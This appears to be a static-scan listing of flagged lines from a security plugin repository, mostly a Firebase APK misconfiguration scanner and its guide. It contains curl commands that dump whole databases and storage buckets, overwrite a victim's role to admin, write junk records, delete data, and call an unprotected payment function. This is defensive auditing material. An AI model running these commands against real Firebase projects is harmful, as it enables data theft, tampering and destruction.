    # Access "authenticated" resources with anonymous token curl "https://PROJECT.firebaseio.com/users.json?auth=eyJhbGciOiJSUzI1NiIs..."
  • Network accessline 109
    curl "https://PROJECT.firebaseio.com/users.json?auth=eyJhbGciOiJSUzI1NiIs..."
  • Network accessline 136
    curl -X POST \
  • Network accessline 137
    -H "Content-Type: application/json" \   -d '{"identifier":"victim@company.com","continueUri":"https://localhost"}' \   "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=AIzaXXXXXX"
  • Network accessline 138
    -d '{"identifier":"victim@company.com","continueUri":"https://localhost"}' \
  • Network accessline 139
    "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=AIzaXXXXXX"
  • Network accessline 185
    # Read entire database curl "https://PROJECT-ID.firebaseio.com/.json"
  • Network accessline 186
    curl "https://PROJECT-ID.firebaseio.com/.json"
  • Network accessline 188
    # Read with shallow query (shows structure even if full read denied) curl "https://PROJECT-ID.firebaseio.com/.json?shallow=true"
  • Network accessline 189
    curl "https://PROJECT-ID.firebaseio.com/.json?shallow=true"
  • Network accessline 191
    # Read specific paths curl "https://PROJECT-ID.firebaseio.com/users.json"
  • Network accessline 192
    curl "https://PROJECT-ID.firebaseio.com/users.json"
  • Network accessline 193
    curl "https://PROJECT-ID.firebaseio.com/messages.json"
  • Network accessline 194
    curl "https://PROJECT-ID.firebaseio.com/orders.json"
  • Network accessline 258
    # Write arbitrary data curl -X PUT \
  • Network accessline 259
    curl -X PUT \
  • Network accessline 260
    -H "Content-Type: application/json" \   -d '{"attacker":"was_here","timestamp":1234567890}' \   "https://PROJECT-ID.firebaseio.com/pwned.json"
  • Network accessline 262
    "https://PROJECT-ID.firebaseio.com/pwned.json"
  • Network accessline 264
    # Overwrite existing data curl -X PUT \
  • Network accessline 265
    curl -X PUT \
  • Network accessline 266
    -H "Content-Type: application/json" \   -d '{"role":"admin"}' \   "https://PROJECT-ID.firebaseio.com/users/victim_uid/profile.json"
  • Network accessline 268
    "https://PROJECT-ID.firebaseio.com/users/victim_uid/profile.json"
  • Network accessline 270
    # Delete data curl -X DELETE "https://PROJECT-ID.firebaseio.com/important_data.json"
  • Network accessline 271
    curl -X DELETE "https://PROJECT-ID.firebaseio.com/important_data.json"
  • Network accessline 322
    # List root collections curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents"
  • Network accessline 323
    curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents"
  • Network accessline 325
    # Read specific collection curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users"
  • Network accessline 326
    curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users"
  • Network accessline 328
    # Read specific document curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users/admin"
  • Network accessline 329
    curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users/admin"
  • Network accessline 334
    # Create document curl -X POST \
  • Network accessline 335
    curl -X POST \
  • Network accessline 336
    -H "Content-Type: application/json" \   -d '{"fields":{"role":{"stringValue":"admin"},"injected":{"booleanValue":true}}}' \   "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users"
  • Network accessline 338
    "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users"
  • Network accessline 401
    # List all files in bucket curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o"
  • Network accessline 402
    curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o"
  • Network accessline 404
    # Alternative: gs:// format bucket curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID/o"
  • Network accessline 405
    curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID/o"
  • Network accessline 429
    # Download using the file path curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o/user_uploads%2Fprivate_document.pdf?alt=media"
  • Network accessline 430
    curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o/user_uploads%2Fprivate_document.pdf?alt=media"
  • Network accessline 478
    # Upload arbitrary file curl -X POST \
  • Network accessline 479
    curl -X POST \
  • Network accessline 480
    -H "Content-Type: text/plain" \   --data-binary "malicious content here" \   "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?uploadType=media&name=pwned.txt"
  • Network accessline 482
    "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?uploadType=media&name=pwned.txt"
  • Network accessline 533
    # Call unprotected function curl -X POST \
  • Network accessline 534
    curl -X POST \
  • Network accessline 535
    -H "Content-Type: application/json" \   -d '{"userId":"victim123","amount":0.01}' \   "https://us-central1-PROJECT-ID.cloudfunctions.net/processPayment"
  • Network accessline 537
    "https://us-central1-PROJECT-ID.cloudfunctions.net/processPayment"
  • Network accessline 539
    # Test callable function curl -X POST \
  • Network accessline 540
    curl -X POST \
  • Network accessline 541
    -H "Content-Type: application/json" \   -d '{"data":{}}' \   "https://us-central1-PROJECT-ID.cloudfunctions.net/adminFunction"
  • Network accessline 543
    "https://us-central1-PROJECT-ID.cloudfunctions.net/adminFunction"
  • Network accessline 596
    [Credential-related source omitted]
  • Network accessline 597
    "https://firebaseremoteconfig.googleapis.com/v1/projects/PROJECT-ID/remoteConfig"
  • Network accessline 603
    "parameters": {     "api_endpoint": {       "defaultValue": { "value": "https://internal-api.company.com" }
  • Network accessline 604
    "api_endpoint": {       "defaultValue": { "value": "https://internal-api.company.com" }     },
  • Network accessline 605
    "defaultValue": { "value": "https://internal-api.company.com" }
  • Access to secretsline 732
    [Credential-related source omitted]
  • Access to secretsline 733
    [Credential-related source omitted]
  • Access to secretsline 734
    [Credential-related source omitted]
  • Network accessline 777
    # Authentication Tests curl -X POST -H "Content-Type: application/json" \
  • Network accessline 778
    [Credential-related source omitted]
  • Access to secretsline 778
    [Credential-related source omitted]
  • Network accessline 780
    [Credential-related source omitted]
  • Access to secretsline 780
    [Credential-related source omitted]
  • Network accessline 782
    # Anonymous Auth curl -X POST -H "Content-Type: application/json" \
  • Network accessline 783
    [Credential-related source omitted]
  • Access to secretsline 783
    [Credential-related source omitted]
  • Network accessline 785
    [Credential-related source omitted]
  • Access to secretsline 785
    [Credential-related source omitted]
  • Network accessline 787
    # Realtime Database curl "https://PROJECT.firebaseio.com/.json"
  • Network accessline 788
    curl "https://PROJECT.firebaseio.com/.json"
  • Network accessline 789
    curl "https://PROJECT.firebaseio.com/.json?shallow=true"
  • Network accessline 791
    # Firestore curl "https://firestore.googleapis.com/v1/projects/PROJECT/databases/(default)/documents"
  • Network accessline 792
    curl "https://firestore.googleapis.com/v1/projects/PROJECT/databases/(default)/documents"
  • Network accessline 794
    # Storage curl "https://firebasestorage.googleapis.com/v0/b/PROJECT.appspot.com/o"
  • Network accessline 795
    curl "https://firebasestorage.googleapis.com/v0/b/PROJECT.appspot.com/o"
  • Network accessline 797
    [Credential-related source omitted]
  • Network accessline 798
    [Credential-related source omitted]
  • Access to secretsline 798
    [Credential-related source omitted]
  • Network accessline 799
    "https://firebaseremoteconfig.googleapis.com/v1/projects/PROJECT/remoteConfig"
  • Network accessline 801
    # Cloud Functions curl "https://us-central1-PROJECT.cloudfunctions.net/functionName"
  • Network accessline 802
    curl "https://us-central1-PROJECT.cloudfunctions.net/functionName"

plugins/firebase-apk-scanner/skills/firebase-apk-scanner/scanner.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 70
    for cmd in apktool curl jq grep unzip sed awk strings; do
  • Network accessline 77
    log_error "Missing dependencies:$missing"     echo "Install with:"     echo "  macOS: brew install apktool curl jq binutils"
  • Network accessline 78
    echo "Install with:"     echo "  macOS: brew install apktool curl jq binutils"     echo "  Ubuntu/Debian: sudo apt install apktool curl jq unzip binutils"
  • Network accessline 79
    echo "  macOS: brew install apktool curl jq binutils"
  • Dangerous shell operationline 80
    echo "  Ubuntu/Debian: sudo apt install apktool curl jq unzip binutils"
  • Network accessline 80
    echo "  Ubuntu/Debian: sudo apt install apktool curl jq unzip binutils"
  • Dangerous shell operationline 141
    rm -rf "$dex_dir"
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Network accessline 201
    local xml_db     xml_db=$(grep -oE 'https://[^"<>]+\.firebaseio\.com[^"<>]*' "$xml_file" 2>/dev/null | tr '\n' ' ' || true)
  • Network accessline 202
    xml_db=$(grep -oE 'https://[^"<>]+\.firebaseio\.com[^"<>]*' "$xml_file" 2>/dev/null | tr '\n' ' ' || true)
  • Network accessline 216
    local xml_proj     xml_proj=$(grep -oE 'https://([a-zA-Z0-9_-]+)\.firebaseio\.com' "$xml_file" 2>/dev/null | sed 's|https://||;s|\.firebaseio\.com||' | tr '\n' ' ' || true)
  • Network accessline 217
    xml_proj=$(grep -oE 'https://([a-zA-Z0-9_-]+)\.firebaseio\.com' "$xml_file" 2>/dev/null | sed 's|https://||;s|\.firebaseio\.com||' | tr '\n' ' ' || true)
  • Network accessline 257
    local asset_db       asset_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$asset_file" 2>/dev/null | tr '\n' ' ' || true)
  • Network accessline 258
    asset_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$asset_file" 2>/dev/null | tr '\n' ' ' || true)
  • Network accessline 303
    local cfg_db         cfg_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$config_path" 2>/dev/null | tr '\n' ' ' || true)
  • Network accessline 304
    cfg_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$config_path" 2>/dev/null | tr '\n' ' ' || true)
  • Network accessline 317
    local flutter_db         flutter_db=$(strings "$flutter_file" 2>/dev/null | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true)
  • Network accessline 318
    flutter_db=$(strings "$flutter_file" 2>/dev/null | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true)
  • Network accessline 336
    local raw_db       raw_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$raw_file" 2>/dev/null | tr '\n' ' ' || true)
  • Network accessline 337
    raw_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$raw_file" 2>/dev/null | tr '\n' ' ' || true)
  • Network accessline 353
    local smali_db     smali_db=$(grep -r -h "const-string" "$smali_dir" 2>/dev/null | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true)
  • Network accessline 354
    smali_db=$(grep -r -h "const-string" "$smali_dir" 2>/dev/null | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true)
  • Network accessline 388
    local raw_db     raw_db=$(echo "$raw_strings" | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true)
  • Network accessline 389
    raw_db=$(echo "$raw_strings" | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true)
  • Network accessline 424
    local deep_db   deep_db=$(grep -r -oh 'https://[a-zA-Z0-9_-]*\.firebaseio\.com' "$apk_dir" 2>/dev/null | sort -u | tr '\n' ' ' || true)
  • Network accessline 425
    deep_db=$(grep -r -oh 'https://[a-zA-Z0-9_-]*\.firebaseio\.com' "$apk_dir" 2>/dev/null | sort -u | tr '\n' ' ' || true)
  • Network accessline 462
    for url in $db_urls; do     local proj     proj="${url#https://}"
  • Network accessline 463
    local proj     proj="${url#https://}"     proj="${proj%%.*}"
  • Network accessline 464
    proj="${url#https://}"
  • Access to secretsline 517
    [Credential-related source omitted]
  • Network accessline 526
    local response   response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 527
    [Credential-related source omitted]
  • Access to secretsline 527
    [Credential-related source omitted]
  • Network accessline 528
    -X POST \     -H "Content-Type: application/json" \     "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${api_key}" \
  • Network accessline 529
    -H "Content-Type: application/json" \     "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${api_key}" \     -d "{\"email\":\"${test_email}\",\"password\":\"${test_password}\",\"returnSecureToken\":true}" \
  • Network accessline 530
    [Credential-related source omitted]
  • Access to secretsline 530
    [Credential-related source omitted]
  • Access to secretsline 541
    [Credential-related source omitted]
  • Network accessline 544
    [Credential-related source omitted]
  • Access to secretsline 544
    [Credential-related source omitted]
  • Network accessline 545
    [Credential-related source omitted]
  • Access to secretsline 545
    [Credential-related source omitted]
  • Network accessline 546
    -X POST \         -H "Content-Type: application/json" \         "https://identitytoolkit.googleapis.com/v1/accounts:delete?key=${api_key}" \
  • Network accessline 547
    -H "Content-Type: application/json" \         "https://identitytoolkit.googleapis.com/v1/accounts:delete?key=${api_key}" \         -d "{\"idToken\":\"${id_token}\"}" >/dev/null 2>&1 || true
  • Network accessline 548
    [Credential-related source omitted]
  • Access to secretsline 548
    [Credential-related source omitted]
  • Access to secretsline 549
    [Credential-related source omitted]
  • Access to secretsline 567
    [Credential-related source omitted]
  • Network accessline 572
    local response   response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 573
    [Credential-related source omitted]
  • Access to secretsline 573
    [Credential-related source omitted]
  • Network accessline 574
    -X POST \     -H "Content-Type: application/json" \     "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${api_key}" \
  • Network accessline 575
    -H "Content-Type: application/json" \     "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${api_key}" \     -d '{"returnSecureToken":true}' \
  • Network accessline 576
    [Credential-related source omitted]
  • Access to secretsline 576
    [Credential-related source omitted]
  • Access to secretsline 589
    [Credential-related source omitted]
  • Access to secretsline 600
    [Credential-related source omitted]
  • Network accessline 608
    local response   response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 609
    [Credential-related source omitted]
  • Access to secretsline 609
    [Credential-related source omitted]
  • Network accessline 610
    -X POST \     -H "Content-Type: application/json" \     "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=${api_key}" \
  • Network accessline 611
    -H "Content-Type: application/json" \     "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=${api_key}" \     -d "{\"identifier\":\"${fake_email}\",\"continueUri\":\"https://localhost\"}" \
  • Network accessline 612
    [Credential-related source omitted]
  • Access to secretsline 612
    [Credential-related source omitted]
  • Network accessline 613
    -d "{\"identifier\":\"${fake_email}\",\"continueUri\":\"https://localhost\"}" \
  • Network accessline 636
    db_url="${db_url%/}"   if ! echo "$db_url" | grep -q '^https://'; then
  • Network accessline 637
    if ! echo "$db_url" | grep -q '^https://'; then
  • Network accessline 638
    db_url="https://$db_url"
  • Network accessline 641
    log_info "Testing RTDB read: $db_url"
  • Network accessline 647
    response=$(curl -s -w "\nHTTP_CODE:%{http_code}" --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 649
    "${db_url}/.json" 2>/dev/null || echo -e "\nHTTP_CODE:000")
  • Network accessline 654
    if [ "$http_code" = "200" ] && [ "$body" != "null" ] && [ -n "$body" ]; then     log_vuln "RTDB READ OPEN: $db_url"
  • Network accessline 655
    log_vuln "RTDB READ OPEN: $db_url"
  • Network accessline 673
    db_url="${db_url%/}"   if ! echo "$db_url" | grep -q '^https://'; then
  • Network accessline 674
    if ! echo "$db_url" | grep -q '^https://'; then
  • Network accessline 675
    db_url="https://$db_url"
  • Network accessline 678
    log_info "Testing RTDB write: $db_url"
  • Network accessline 684
    response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 687
    -H "User-Agent: $USER_AGENT" \     -d "$test_data" \     "${db_url}/${WRITE_TEST_PATH}.json" 2>/dev/null || echo '{}')
  • Network accessline 689
    "${db_url}/${WRITE_TEST_PATH}.json" 2>/dev/null || echo '{}')
  • Network accessline 691
    if echo "$response" | grep -q "security_test"; then     log_vuln "RTDB WRITE OPEN: $db_url"
  • Network accessline 692
    log_vuln "RTDB WRITE OPEN: $db_url"     echo "VULNERABLE" >"$result_file"     curl -s -X DELETE "${db_url}/${WRITE_TEST_PATH}.json" --max-time 5 >/dev/null 2>&1 || true
  • Network accessline 693
    echo "VULNERABLE" >"$result_file"     curl -s -X DELETE "${db_url}/${WRITE_TEST_PATH}.json" --max-time 5 >/dev/null 2>&1 || true     return 0
  • Network accessline 694
    curl -s -X DELETE "${db_url}/${WRITE_TEST_PATH}.json" --max-time 5 >/dev/null 2>&1 || true
  • Network accessline 707
    db_url="${db_url%/}"   if ! echo "$db_url" | grep -q '^https://'; then
  • Network accessline 708
    if ! echo "$db_url" | grep -q '^https://'; then
  • Network accessline 709
    db_url="https://$db_url"
  • Network accessline 714
    local response   response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 715
    [Credential-related source omitted]
  • Access to secretsline 715
    [Credential-related source omitted]
  • Network accessline 717
    [Credential-related source omitted]
  • Access to secretsline 717
    [Credential-related source omitted]
  • Network accessline 736
    local base_url="https://firestore.googleapis.com/v1/projects/${project_id}/databases/(default)/documents"
  • Network accessline 739
    response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 760
    local base_url="https://firestore.googleapis.com/v1/projects/${project_id}/databases/(default)/documents"
  • Network accessline 763
    local response   response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 764
    response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 775
    doc_name=$(echo "$response" | jq -r '.name // empty' 2>/dev/null || true)     if [ -n "$doc_name" ]; then       curl -s -X DELETE "https://firestore.googleapis.com/v1/${doc_name}" --max-time 5 >/dev/null 2>&1 || true
  • Network accessline 776
    if [ -n "$doc_name" ]; then       curl -s -X DELETE "https://firestore.googleapis.com/v1/${doc_name}" --max-time 5 >/dev/null 2>&1 || true     fi
  • Network accessline 777
    curl -s -X DELETE "https://firestore.googleapis.com/v1/${doc_name}" --max-time 5 >/dev/null 2>&1 || true
  • Network accessline 796
    for collection in $common_collections; do     local url="https://firestore.googleapis.com/v1/projects/${project_id}/databases/(default)/documents/${collection}"
  • Network accessline 797
    local url="https://firestore.googleapis.com/v1/projects/${project_id}/databases/(default)/documents/${collection}"
  • Network accessline 800
    response=$(curl -s --max-time 5 "$url" 2>/dev/null || true)
  • Network accessline 832
    local api_url="https://firebasestorage.googleapis.com/v0/b/${bucket}/o"
  • Network accessline 835
    response=$(curl -s --max-time "$TIMEOUT_SECONDS" "$api_url" 2>/dev/null || echo '{}')
  • Network accessline 861
    local api_url="https://firebasestorage.googleapis.com/v0/b/${bucket}/o"
  • Network accessline 865
    local response   response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 866
    response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 873
    log_vuln "STORAGE BUCKET WRITABLE: $bucket"     echo "VULNERABLE" >"$result_file"     curl -s -X DELETE "${api_url}/${test_path}" --max-time 5 >/dev/null 2>&1 || true
  • Network accessline 874
    echo "VULNERABLE" >"$result_file"     curl -s -X DELETE "${api_url}/${test_path}" --max-time 5 >/dev/null 2>&1 || true     return 0
  • Network accessline 875
    curl -s -X DELETE "${api_url}/${test_path}" --max-time 5 >/dev/null 2>&1 || true
  • Network accessline 906
    local url="https://${region}-${project_id}.cloudfunctions.net/${func_name}"
  • Network accessline 909
    http_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "$url" 2>/dev/null || echo "000")
  • Network accessline 939
    local region="us-central1"   local url="https://${region}-${project_id}.cloudfunctions.net/${function_name}"
  • Network accessline 940
    local url="https://${region}-${project_id}.cloudfunctions.net/${function_name}"
  • Network accessline 942
    local response   response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 943
    response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Access to secretsline 967
    [Credential-related source omitted]
  • Network accessline 972
    local url="https://firebaseremoteconfig.googleapis.com/v1/projects/${project_id}/remoteConfig"
  • Network accessline 974
    local response   response=$(curl -s --max-time "$TIMEOUT_SECONDS" \
  • Network accessline 975
    [Credential-related source omitted]
  • Access to secretsline 975
    [Credential-related source omitted]
  • Access to secretsline 976
    [Credential-related source omitted]
  • Access to secretsline 1080
    [Credential-related source omitted]
  • Access to secretsline 1081
    [Credential-related source omitted]
  • Access to secretsline 1083
    [Credential-related source omitted]
  • Access to secretsline 1086
    [Credential-related source omitted]
  • Access to secretsline 1091
    [Credential-related source omitted]
  • Access to secretsline 1097
    [Credential-related source omitted]
  • Network accessline 1108
    for db_url in $db_urls; do     [ -z "$db_url" ] && continue
  • Network accessline 1109
    [ -z "$db_url" ] && continue
  • Network accessline 1111
    if test_rtdb_read "$db_url" "${apk_result_dir}/rtdb_read.txt"; then
  • Network accessline 1112
    apk_vulnerable=true       apk_vulns="$apk_vulns RTDB_READ:$db_url"     fi
  • Network accessline 1113
    apk_vulns="$apk_vulns RTDB_READ:$db_url"
  • Network accessline 1116
    if test_rtdb_write "$db_url" "${apk_result_dir}/rtdb_write.txt"; then
  • Network accessline 1117
    apk_vulnerable=true       apk_vulns="$apk_vulns RTDB_WRITE:$db_url"     fi
  • Network accessline 1118
    apk_vulns="$apk_vulns RTDB_WRITE:$db_url"
  • Network accessline 1121
    [Credential-related source omitted]
  • Access to secretsline 1121
    [Credential-related source omitted]
  • Network accessline 1122
    [Credential-related source omitted]
  • Access to secretsline 1122
    [Credential-related source omitted]
  • Network accessline 1123
    apk_vulnerable=true         apk_vulns="$apk_vulns RTDB_ANON_ACCESS:$db_url"       fi
  • Network accessline 1124
    apk_vulns="$apk_vulns RTDB_ANON_ACCESS:$db_url"
  • Network accessline 1134
    if test_firestore_read "$project_id" "${apk_result_dir}/firestore_read.txt"; then       apk_vulnerable=true       apk_vulns="$apk_vulns FIRESTORE_READ:$project_id"
  • Network accessline 1135
    apk_vulnerable=true       apk_vulns="$apk_vulns FIRESTORE_READ:$project_id"     fi
  • Network accessline 1136
    apk_vulns="$apk_vulns FIRESTORE_READ:$project_id"
  • Network accessline 1139
    if test_firestore_write "$project_id" "${apk_result_dir}/firestore_write.txt"; then       apk_vulnerable=true       apk_vulns="$apk_vulns FIRESTORE_WRITE:$project_id"
  • Network accessline 1140
    apk_vulnerable=true       apk_vulns="$apk_vulns FIRESTORE_WRITE:$project_id"     fi
  • Network accessline 1141
    apk_vulns="$apk_vulns FIRESTORE_WRITE:$project_id"
  • Network accessline 1144
    if test_firestore_collections "$project_id" "${apk_result_dir}/firestore_collections.txt"; then       apk_vulnerable=true       apk_vulns="$apk_vulns FIRESTORE_COLLECTIONS:$project_id"
  • Network accessline 1145
    apk_vulnerable=true       apk_vulns="$apk_vulns FIRESTORE_COLLECTIONS:$project_id"     fi
  • Network accessline 1146
    apk_vulns="$apk_vulns FIRESTORE_COLLECTIONS:$project_id"
  • Network accessline 1158
    if test_storage_bucket "$bucket" "${apk_result_dir}/storage_read.txt"; then       apk_vulnerable=true       apk_vulns="$apk_vulns STORAGE_LISTABLE:$bucket"
  • Network accessline 1159
    apk_vulnerable=true       apk_vulns="$apk_vulns STORAGE_LISTABLE:$bucket"     fi
  • Network accessline 1160
    apk_vulns="$apk_vulns STORAGE_LISTABLE:$bucket"
  • Network accessline 1163
    if test_storage_bucket_write "$bucket" "${apk_result_dir}/storage_write.txt"; then       apk_vulnerable=true       apk_vulns="$apk_vulns STORAGE_WRITABLE:$bucket"
  • Network accessline 1164
    apk_vulnerable=true       apk_vulns="$apk_vulns STORAGE_WRITABLE:$bucket"     fi
  • Network accessline 1165
    apk_vulns="$apk_vulns STORAGE_WRITABLE:$bucket"
  • Network accessline 1183
    if test_callable_function "$first_project" "$func_name" "${apk_result_dir}/functions_callable.txt"; then         apk_vulnerable=true         apk_vulns="$apk_vulns FUNCTION_NO_AUTH:$func_name"
  • Network accessline 1184
    apk_vulnerable=true         apk_vulns="$apk_vulns FUNCTION_NO_AUTH:$func_name"       fi
  • Network accessline 1185
    apk_vulns="$apk_vulns FUNCTION_NO_AUTH:$func_name"
  • Access to secretsline 1193
    [Credential-related source omitted]
  • Network accessline 1196
    [Credential-related source omitted]
  • Access to secretsline 1196
    [Credential-related source omitted]
  • Network accessline 1197
    apk_vulnerable=true       apk_vulns="$apk_vulns REMOTE_CONFIG_EXPOSED"     fi
  • Network accessline 1198
    apk_vulns="$apk_vulns REMOTE_CONFIG_EXPOSED"
  • Network accessline 1206
    VULNERABLE_APKS=$((VULNERABLE_APKS + 1))     echo "VULNERABLE" >"${apk_result_dir}/status.txt"     echo "$apk_vulns" | tr ' ' '\n' | grep -v '^$' >"${apk_result_dir}/vulnerabilities.txt"
  • Network accessline 1207
    echo "VULNERABLE" >"${apk_result_dir}/status.txt"     echo "$apk_vulns" | tr ' ' '\n' | grep -v '^$' >"${apk_result_dir}/vulnerabilities.txt"     local vuln_count
  • Network accessline 1208
    echo "$apk_vulns" | tr ' ' '\n' | grep -v '^$' >"${apk_result_dir}/vulnerabilities.txt"
  • Network accessline 1210
    vuln_count=$(echo "$apk_vulns" | wc -w | tr -d ' ')
  • Dangerous shell operationline 1413
    rm -rf "$DECOMPILED_DIR"

plugins/fp-check/skills/fp-check/SKILL.md

  • Broad permissionsline 1
    Read Grep Glob LSP Bash Task Write Edit AskUserQuestion TaskCreate TaskUpdate TaskList TaskGet

plugins/fp-check/skills/fp-check/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/gh-cli/.claude-plugin/plugin.json

  • Network accessline 2
    "name": "gh-cli",   "version": "1.6.3",   "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.",
  • Network accessline 3
    "version": "1.6.3",   "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.",   "author": {
  • Network accessline 4
    "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.",
  • Network accessline 6
    "name": "William Tan",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/gh-cli/hooks/hooks.json

  • Network accessline 1
    {   "description": "Intercept GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, suggest gh CLI instead. PATH shim blocks gh anti-patterns. Clean up cloned repos on session end.",
  • Network accessline 2
    "description": "Intercept GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, suggest gh CLI instead. PATH shim blocks gh anti-patterns. Clean up cloned repos on session end.",

plugins/gh-cli/skills/gh-cli/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/git-cleanup/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Henrik Brodin",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/github-triage/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Evan Sultanik",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/github-triage/skills/github-triage/.calcifier/recipe.py

  • Executable scriptline 1
    Executable file
  • Network accessline 63
    continue         match = re.fullmatch(             r"(?:https://github\.com/|git@github\.com:|"
  • Network accessline 64
    match = re.fullmatch(             r"(?:https://github\.com/|git@github\.com:|"             r"ssh://git@github\.com/)([A-Za-z0-9._-]+/[A-Za-z0-9._-]+)/?",
  • Network accessline 65
    r"(?:https://github\.com/|git@github\.com:|"

plugins/github-triage/skills/github-triage/SKILL.md

  • Broad permissionsline 1
    Bash Read Grep Agent AskUserQuestion Write
  • Network accessline 58
    - `https://github.com/OWNER/REPO(.git)`

plugins/github-triage/skills/github-triage/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/goal-prompt/skills/goal-prompt/SKILL.md

  • Broad permissionsline 1
    Bash Read Write

plugins/goal-prompt/skills/goal-prompt/scripts/format_goal_prompt.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/goal-prompt/skills/goal-prompt/scripts/test_format_goal_prompt.py

  • Executable scriptline 1
    Executable file

plugins/insecure-defaults/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Trail of Bits",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

